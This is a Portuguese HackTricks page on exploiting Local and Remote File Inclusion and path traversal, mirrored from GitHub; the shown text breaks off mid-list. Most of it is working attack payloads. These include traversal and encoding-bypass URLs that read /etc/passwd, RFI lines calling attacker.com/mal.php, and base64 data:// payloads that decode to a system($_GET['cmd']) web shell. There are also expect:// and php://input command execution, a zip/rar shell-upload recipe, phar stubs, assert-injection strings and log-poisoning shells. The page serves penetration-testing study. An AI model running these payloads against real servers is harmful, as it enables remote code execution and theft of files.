mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 03:23:44 +00:00
672 lines
38 KiB
Markdown
672 lines
38 KiB
Markdown
# Inclusão de Arquivo/Travessia de Caminho
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs!
|
|
|
|
**Percepções de Hacking**\
|
|
Envolver-se com conteúdo que mergulha na emoção e desafios do hacking
|
|
|
|
**Notícias de Hacking em Tempo Real**\
|
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
|
|
|
|
**Últimos Anúncios**\
|
|
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
|
|
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|
|
|
## Inclusão de Arquivo
|
|
|
|
**Inclusão de Arquivo Remoto (RFI):** O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor irá executá-lo). Em php isso é **desativado** por padrão (**allow\_url\_include**).\
|
|
**Inclusão de Arquivo Local (LFI):** O servidor carrega um arquivo local.
|
|
|
|
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que será carregado pelo servidor.
|
|
|
|
**Funções PHP vulneráveis**: require, require\_once, include, include\_once
|
|
|
|
Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
|
|
|
## Cegos - Interessantes - Arquivos LFI2RCE
|
|
```python
|
|
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
|
```
|
|
### **Linux**
|
|
|
|
**Misturando várias listas LFI \*nix e adicionando mais caminhos, criei esta:**
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
|
|
|
|
Tente também trocar `/` por `\`\
|
|
Tente também adicionar `../../../../../`
|
|
|
|
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
|
|
|
### **Windows**
|
|
|
|
Mesclagem de diferentes listas de palavras:
|
|
|
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
|
|
|
|
Tente também trocar `/` por `\`\
|
|
Tente também remover `C:/` e adicionar `../../../../../`
|
|
|
|
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [aqui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
|
|
|
### **OS X**
|
|
|
|
Verifique a lista LFI do Linux.
|
|
|
|
## LFI básico e bypasses
|
|
|
|
Todos os exemplos são para Inclusão de Arquivo Local, mas podem ser aplicados também à Inclusão de Arquivo Remoto (página=[http://meuserver.com/phpshellcode.txt\\](http://meuserver.com/phpshellcode.txt\)/).
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd
|
|
```
|
|
### sequências de travessia removidas de forma não recursiva
|
|
```python
|
|
http://example.com/index.php?page=....//....//....//etc/passwd
|
|
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
|
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
|
```
|
|
### **Byte nulo (%00)**
|
|
|
|
Bypass para adicionar mais caracteres no final da string fornecida (bypass de: $\_GET\['param']."php")
|
|
```
|
|
http://example.com/index.php?page=../../../etc/passwd%00
|
|
```
|
|
Isso está **resolvido desde o PHP 5.4**
|
|
|
|
### **Codificação**
|
|
|
|
Você poderia usar codificações não padrão como dupla codificação de URL (e outras):
|
|
```
|
|
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
|
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
|
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
|
```
|
|
### Da pasta existente
|
|
|
|
Talvez o back-end esteja verificando o caminho da pasta:
|
|
```python
|
|
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|
```
|
|
### Explorando Diretórios do Sistema de Arquivos em um Servidor
|
|
|
|
O sistema de arquivos de um servidor pode ser explorado de forma recursiva para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
|
|
|
|
1. **Determinar a Profundidade do Diretório:** Averigue a profundidade do seu diretório atual ao obter com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for baseado em Linux). Um URL de exemplo pode ser estruturado da seguinte forma, indicando uma profundidade de três:
|
|
```bash
|
|
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
|
```
|
|
2. **Sonda de Pastas:** Adicione o nome da pasta suspeita (por exemplo, `private`) à URL e, em seguida, navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em um:
|
|
```bash
|
|
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
|
```
|
|
3. **Interpretar os Resultados:** A resposta do servidor indica se a pasta existe:
|
|
* **Erro / Sem Saída:** A pasta `private` provavelmente não existe no local especificado.
|
|
* **Conteúdo de `/etc/passwd`:** A presença da pasta `private` é confirmada.
|
|
4. **Exploração Recursiva:** As pastas descobertas podem ser investigadas para subdiretórios ou arquivos adicionais usando a mesma técnica ou métodos tradicionais de Inclusão de Arquivos Locais (LFI).
|
|
|
|
Para explorar diretórios em diferentes locais no sistema de arquivos, ajuste a carga útil conforme necessário. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está a uma profundidade de 3), use:
|
|
```bash
|
|
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|
```
|
|
### **Técnica de Truncamento de Caminho**
|
|
|
|
O truncamento de caminho é um método utilizado para manipular caminhos de arquivos em aplicações web. É frequentemente usado para acessar arquivos restritos, contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivos. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
|
|
|
|
Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
|
|
|
|
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` e `/etc/passwd/` são tratados como o mesmo caminho.
|
|
* Quando os últimos 6 caracteres são `passwd`, acrescentar um `/` (tornando-o `passwd/`) não altera o arquivo alvo.
|
|
* Da mesma forma, se `.php` for acrescentado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo sendo acessado.
|
|
|
|
Os exemplos fornecidos demonstram como utilizar o truncamento de caminho para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de conta de usuário):
|
|
```
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
|
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
|
```
|
|
|
|
```
|
|
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
|
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
|
```
|
|
Nesses cenários, o número de travessias necessárias pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.
|
|
|
|
* **Usando Segmentos de Ponto e Caracteres Adicionais**: Sequências de travessia (`../`) combinadas com segmentos de ponto extras e caracteres podem ser usadas para navegar no sistema de arquivos, ignorando efetivamente as strings anexadas pelo servidor.
|
|
* **Determinando o Número Necessário de Travessias**: Através de tentativa e erro, é possível encontrar o número preciso de sequências `../` necessárias para navegar até o diretório raiz e depois para `/etc/passwd`, garantindo que quaisquer strings anexadas (como `.php`) sejam neutralizadas, mas o caminho desejado (`/etc/passwd`) permaneça intacto.
|
|
* **Começando com um Diretório Falso**: É uma prática comum começar o caminho com um diretório inexistente (como `a/`). Essa técnica é usada como medida de precaução ou para atender aos requisitos da lógica de análise de caminho do servidor.
|
|
|
|
Ao empregar técnicas de truncamento de caminho, é crucial entender o comportamento de análise de caminho do servidor e a estrutura do sistema de arquivos. Cada cenário pode exigir uma abordagem diferente, e testes são frequentemente necessários para encontrar o método mais eficaz.
|
|
|
|
**Essa vulnerabilidade foi corrigida no PHP 5.3.**
|
|
|
|
### **Truques de bypass de filtro**
|
|
```
|
|
http://example.com/index.php?page=....//....//etc/passwd
|
|
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
|
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
|
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
|
http://example.com/index.php?page=PhP://filter
|
|
```
|
|
## Inclusão de Arquivo Remoto
|
|
|
|
No PHP, isso é desativado por padrão porque **`allow_url_include`** está **Off.** Deve estar **On** para funcionar e, nesse caso, você poderia incluir um arquivo PHP do seu servidor e obter RCE:
|
|
```python
|
|
http://example.com/index.php?page=http://atacker.com/mal.php
|
|
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
|
```
|
|
Se por algum motivo **`allow_url_include`** estiver **Ativado**, mas o PHP estiver **filtrando** o acesso a páginas da web externas, [de acordo com este post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), você poderia, por exemplo, usar o protocolo de dados com base64 para decodificar um código PHP b64 e obter RCE:
|
|
|
|
{% code overflow="wrap" %}
|
|
```
|
|
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="info" %}
|
|
No código anterior, o `+.txt` final foi adicionado porque o atacante precisava de uma string que terminasse em `.txt`, então a string termina com isso e após a decodificação b64, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).
|
|
{% endhint %}
|
|
|
|
Outro exemplo **sem usar o protocolo `php://`** seria:
|
|
```
|
|
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
|
```
|
|
{% endcode %}
|
|
|
|
## Elemento raiz do Python
|
|
|
|
Em python em um código como este:
|
|
```python
|
|
# file_name is controlled by a user
|
|
os.path.join(os.getcwd(), "public", file_name)
|
|
```
|
|
Se o usuário passar um **caminho absoluto** para **`file_name`**, o **caminho anterior é simplesmente removido**:
|
|
```python
|
|
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
|
'/etc/passwd'
|
|
```
|
|
É o comportamento pretendido de acordo com [a documentação](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
|
|
|
> Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.
|
|
|
|
## Listagem de Diretórios em Java
|
|
|
|
Parece que se você tiver uma Traversal de Caminho em Java e **solicitar um diretório** em vez de um arquivo, uma **listagem do diretório é retornada**. Isso não acontecerá em outras linguagens (pelo que sei).
|
|
|
|
## Top 25 parâmetros
|
|
|
|
Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
|
```
|
|
?cat={payload}
|
|
?dir={payload}
|
|
?action={payload}
|
|
?board={payload}
|
|
?date={payload}
|
|
?detail={payload}
|
|
?file={payload}
|
|
?download={payload}
|
|
?path={payload}
|
|
?folder={payload}
|
|
?prefix={payload}
|
|
?include={payload}
|
|
?page={payload}
|
|
?inc={payload}
|
|
?locate={payload}
|
|
?show={payload}
|
|
?doc={payload}
|
|
?site={payload}
|
|
?type={payload}
|
|
?view={payload}
|
|
?content={payload}
|
|
?document={payload}
|
|
?layout={payload}
|
|
?mod={payload}
|
|
?conf={payload}
|
|
```
|
|
## LFI / RFI usando wrappers e protocolos PHP
|
|
|
|
### php://filter
|
|
|
|
Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:
|
|
|
|
* [Filtros de String](https://www.php.net/manual/en/filters.string.php):
|
|
* `string.rot13`
|
|
* `string.toupper`
|
|
* `string.tolower`
|
|
* `string.strip_tags`: Remove as tags dos dados (tudo entre os caracteres "<" e ">")
|
|
* Note que este filtro desapareceu das versões modernas do PHP
|
|
* [Filtros de Conversão](https://www.php.net/manual/en/filters.convert.php)
|
|
* `convert.base64-encode`
|
|
* `convert.base64-decode`
|
|
* `convert.quoted-printable-encode`
|
|
* `convert.quoted-printable-decode`
|
|
* `convert.iconv.*` : Transforma para uma codificação diferente (`convert.iconv.<input_enc>.<output_enc>`). Para obter a **lista de todas as codificações** suportadas, execute no console: `iconv -l`
|
|
|
|
{% hint style="warning" %}
|
|
Ao abusar do filtro de conversão `convert.iconv.*`, você pode **gerar texto arbitrário**, o que pode ser útil para escrever texto arbitrário ou fazer um processo de inclusão de texto arbitrário. Para mais informações, consulte [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
|
{% endhint %}
|
|
|
|
* [Filtros de Compressão](https://www.php.net/manual/en/filters.compression.php)
|
|
* `zlib.deflate`: Comprime o conteúdo (útil se estiver extraindo muitas informações)
|
|
* `zlib.inflate`: Descomprime os dados
|
|
* [Filtros de Criptografia](https://www.php.net/manual/en/filters.encryption.php)
|
|
* `mcrypt.*` : Obsoleto
|
|
* `mdecrypt.*` : Obsoleto
|
|
* Outros Filtros
|
|
* Executando em PHP `var_dump(stream_get_filters());` você pode encontrar alguns **filtros inesperados**:
|
|
* `consumed`
|
|
* `dechunk`: inverte a codificação chunked HTTP
|
|
* `convert.*`
|
|
```php
|
|
# String Filters
|
|
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
|
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
|
## Same chain without the "|" char
|
|
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
|
## string.string_tags example
|
|
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
|
|
|
# Conversion filter
|
|
## B64 decode
|
|
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
|
## Chain B64 encode and decode
|
|
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
|
## convert.quoted-printable-encode example
|
|
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
|
=C2=A3hellooo=3D
|
|
## convert.iconv.utf-8.utf-16le
|
|
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
|
|
|
# Compresion Filter
|
|
## Compress + B64
|
|
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
|
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
|
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
|
```
|
|
{% hint style="warning" %}
|
|
A parte "php://filter" é case insensitive
|
|
{% endhint %}
|
|
|
|
### Usando filtros php como oráculo para ler arquivos arbitrários
|
|
|
|
[**Neste post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) é proposta uma técnica para ler um arquivo local sem ter a saída retornada pelo servidor. Esta técnica é baseada em uma **exfiltração booleana do arquivo (caractere por caractere) usando filtros php** como oráculo. Isso ocorre porque os filtros php podem ser usados para tornar um texto grande o suficiente para fazer o php lançar uma exceção.
|
|
|
|
No post original, você pode encontrar uma explicação detalhada da técnica, mas aqui está um resumo rápido:
|
|
|
|
- Use o codec **`UCS-4LE`** para deixar o caractere principal do texto no início e aumentar exponencialmente o tamanho da string.
|
|
- Isso será usado para gerar um **texto tão grande quando a letra inicial é adivinhada corretamente** que o php irá disparar um **erro**
|
|
- O filtro **dechunk** irá **remover tudo se o primeiro caractere não for um hexadecimal**, então podemos saber se o primeiro caractere é hexadecimal.
|
|
- Isso, combinado com o anterior (e outros filtros dependendo da letra adivinhada), nos permitirá adivinhar uma letra no início do texto ao ver quando fazemos transformações suficientes para que não seja mais um caractere hexadecimal. Porque se for hexadecimal, dechunk não o deletará e a bomba inicial fará o php gerar um erro.
|
|
- O codec **convert.iconv.UNICODE.CP930** transforma cada letra na seguinte (então após este codec: a -> b). Isso nos permite descobrir se a primeira letra é um `a`, por exemplo, porque se aplicarmos 6 vezes este codec a->b->c->d->e->f->g a letra não será mais um caractere hexadecimal, portanto dechunk não o deletará e o erro do php será acionado porque ele multiplica com a bomba inicial.
|
|
- Usando outras transformações como **rot13** no início, é possível vazar outras letras como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hexadecimal).
|
|
- Quando o caractere inicial é um número, é necessário codificá-lo em base64 e vazar as 2 primeiras letras para vazar o número.
|
|
- O problema final é ver **como vazar mais do que a letra inicial**. Usando filtros de memória de ordem como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** é possível alterar a ordem dos caracteres e obter em primeira posição outras letras do texto.
|
|
- E para ser capaz de obter **mais dados**, a ideia é **gerar 2 bytes de dados inúteis no início** com **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para fazer com que ele **gire com os próximos 2 bytes**, e **excluir os dados até os dados inúteis** (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até atingir o bit desejado para vazar.
|
|
|
|
No post, uma ferramenta para realizar isso automaticamente também foi vazada: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
|
|
|
### php://fd
|
|
|
|
Este wrapper permite acessar descritores de arquivo que o processo tem abertos. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos:
|
|
```php
|
|
echo file_get_contents("php://fd/3");
|
|
$myfile = fopen("/etc/passwd", "r");
|
|
```
|
|
Você também pode usar **php://stdin, php://stdout e php://stderr** para acessar os **descritores de arquivo 0, 1 e 2** respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
|
|
|
|
### zip:// e rar://
|
|
|
|
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.\
|
|
Para poder abusar do protocolo rar, ele **precisa ser ativado especificamente**.
|
|
```bash
|
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
|
zip payload.zip payload.php;
|
|
mv payload.zip shell.jpg;
|
|
rm payload.php
|
|
|
|
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
|
|
|
# To compress with rar
|
|
rar a payload.rar payload.php;
|
|
mv payload.rar shell.jpg;
|
|
rm payload.php
|
|
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|
```
|
|
### data://
|
|
|
|
O esquema `data://` permite incluir dados diretamente no código-fonte de uma página da web, sem a necessidade de um arquivo externo. Isso pode ser explorado por invasores para inserir código malicioso e executá-lo no contexto do site vulnerável.
|
|
```
|
|
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
|
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|
```
|
|
Note que este protocolo é restrito pelas configurações do php **`allow_url_open`** e **`allow_url_include`**
|
|
|
|
### expect://
|
|
|
|
O Expect deve estar ativado. Você pode executar código usando isso:
|
|
```
|
|
http://example.com/index.php?page=expect://id
|
|
http://example.com/index.php?page=expect://ls
|
|
```
|
|
### input://
|
|
|
|
Especifique sua carga útil nos parâmetros POST:
|
|
```bash
|
|
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
|
```
|
|
### phar://
|
|
|
|
Um arquivo `.phar` pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como `include` para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo `.phar`:
|
|
```php
|
|
<?php
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
|
$phar->stopBuffering();
|
|
```
|
|
Para compilar o arquivo `.phar`, o seguinte comando deve ser executado:
|
|
```bash
|
|
php --define phar.readonly=0 create_path.php
|
|
```
|
|
Ao ser executado, um arquivo chamado `test.phar` será criado, o qual poderia ser potencialmente utilizado para explorar vulnerabilidades de Inclusão Local de Arquivos (LFI).
|
|
|
|
Nos casos em que o LFI apenas realiza a leitura de arquivos sem executar o código PHP dentro deles, por meio de funções como `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, a exploração de uma vulnerabilidade de desserialização poderia ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo `phar`.
|
|
|
|
Para uma compreensão detalhada da exploração de vulnerabilidades de desserialização no contexto de arquivos `.phar`, consulte o documento vinculado abaixo:
|
|
|
|
[Guia de Exploração de Desserialização de Phar](phar-deserialization.md)
|
|
|
|
{% content-ref url="phar-deserialization.md" %}
|
|
[phar-deserialization.md](phar-deserialization.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Mais protocolos
|
|
|
|
Confira mais possíveis [**protocolos para incluir aqui**](https://www.php.net/manual/en/wrappers.php)**:**
|
|
|
|
* [php://memory e php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivos)
|
|
* [file://](https://www.php.net/manual/en/wrappers.file.php) — Acessar o sistema de arquivos local
|
|
* [http://](https://www.php.net/manual/en/wrappers.http.php) — Acessar URLs HTTP(s)
|
|
* [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Acessar URLs FTP(s)
|
|
* [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Fluxos de compressão
|
|
* [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Encontrar caminhos que correspondem a um padrão (não retorna nada imprimível, então não é realmente útil aqui)
|
|
* [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
|
* [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Fluxos de áudio (Não útil para ler arquivos arbitrários)
|
|
|
|
## LFI via 'assert' do PHP
|
|
|
|
Os riscos de Inclusão Local de Arquivos (LFI) em PHP são especialmente altos ao lidar com a função 'assert', que pode executar código dentro de strings. Isso é particularmente problemático se a entrada contiver caracteres de travessia de diretório como ".." e não estiver sendo devidamente sanitizada.
|
|
|
|
Por exemplo, o código PHP pode ser projetado para prevenir a travessia de diretórios da seguinte forma:
|
|
```bash
|
|
assert("strpos('$file', '..') === false") or die("");
|
|
```
|
|
Embora isso tenha como objetivo impedir a travessia, acaba inadvertidamente criando um vetor para injeção de código. Para explorar isso e ler o conteúdo do arquivo, um atacante poderia usar:
|
|
```plaintext
|
|
' and die(highlight_file('/etc/passwd')) or '
|
|
```
|
|
Da mesma forma, para executar comandos de sistema arbitrários, pode-se usar:
|
|
```plaintext
|
|
' and die(system("id")) or '
|
|
```
|
|
É importante **codificar esses payloads em URL**.
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs!
|
|
|
|
**Percepções de Hacking**\
|
|
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
|
|
|
**Notícias de Hacking em Tempo Real**\
|
|
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
|
|
|
|
**Últimos Anúncios**\
|
|
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
|
|
|
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
|
|
|
|
## Traversão de Caminho PHP às Cegas
|
|
|
|
{% hint style="warning" %}
|
|
Esta técnica é relevante em casos onde você **controla** o **caminho do arquivo** de uma **função PHP** que irá **acessar um arquivo** mas você não verá o conteúdo do arquivo (como uma simples chamada para **`file()`**) mas o conteúdo não é exibido.
|
|
{% endhint %}
|
|
|
|
Neste [**post incrível**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) é explicado como uma travessia de caminho às cegas pode ser abusada via filtro PHP para **exfiltrar o conteúdo de um arquivo via um oráculo de erro**.
|
|
|
|
Em resumo, a técnica utiliza a codificação **"UCS-4LE"** para tornar o conteúdo de um arquivo tão **grande** que a **função PHP que abre** o arquivo irá disparar um **erro**.
|
|
|
|
Em seguida, para vazar o primeiro caractere, o filtro **`dechunk`** é usado juntamente com outros como **base64** ou **rot13** e, finalmente, os filtros **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** são usados para **colocar outros caracteres no início e vazá-los**.
|
|
|
|
**Funções que podem ser vulneráveis**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (somente alvo somente leitura com isso)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
|
|
|
Para detalhes técnicos, confira o post mencionado!
|
|
|
|
## LFI2RCE
|
|
|
|
### Inclusão Remota de Arquivos
|
|
|
|
Explicado anteriormente, [**siga este link**](./#remote-file-inclusion).
|
|
|
|
### Via arquivo de log do Apache/Nginx
|
|
|
|
Se o servidor Apache ou Nginx for **vulnerável a LFI** dentro da função de inclusão, você pode tentar acessar **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, definir dentro do **agente do usuário** ou dentro de um **parâmetro GET** um shell php como **`<?php system($_GET['c']); ?>`** e incluir esse arquivo
|
|
|
|
{% hint style="warning" %}
|
|
Observe que **se você usar aspas duplas** para o shell em vez de **aspas simples**, as aspas duplas serão modificadas para a string "_**quote;**_", **o PHP lançará um erro** e **nada mais será executado**.
|
|
|
|
Além disso, certifique-se de **escrever corretamente o payload** ou o PHP irá gerar erro sempre que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.
|
|
{% endhint %}
|
|
|
|
Isso também poderia ser feito em outros logs, mas **tenha cuidado**, o código dentro dos logs poderia estar codificado em URL e isso poderia destruir o Shell. O cabeçalho **autorização "básica"** contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.\
|
|
Outros possíveis caminhos de logs:
|
|
```python
|
|
/var/log/apache2/access.log
|
|
/var/log/apache/access.log
|
|
/var/log/apache2/error.log
|
|
/var/log/apache/error.log
|
|
/usr/local/apache/log/error_log
|
|
/usr/local/apache2/log/error_log
|
|
/var/log/nginx/access.log
|
|
/var/log/nginx/error.log
|
|
/var/log/httpd/error_log
|
|
```
|
|
### Via Email
|
|
|
|
**Enviar um e-mail** para uma conta interna (user@localhost) contendo seu payload PHP como `<?php echo system($_REQUEST["cmd"]); ?>` e tentar incluir no e-mail do usuário com um caminho como **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
|
|
|
|
### Via /proc/\*/fd/\*
|
|
|
|
1. Faça upload de muitas shells (por exemplo: 100)
|
|
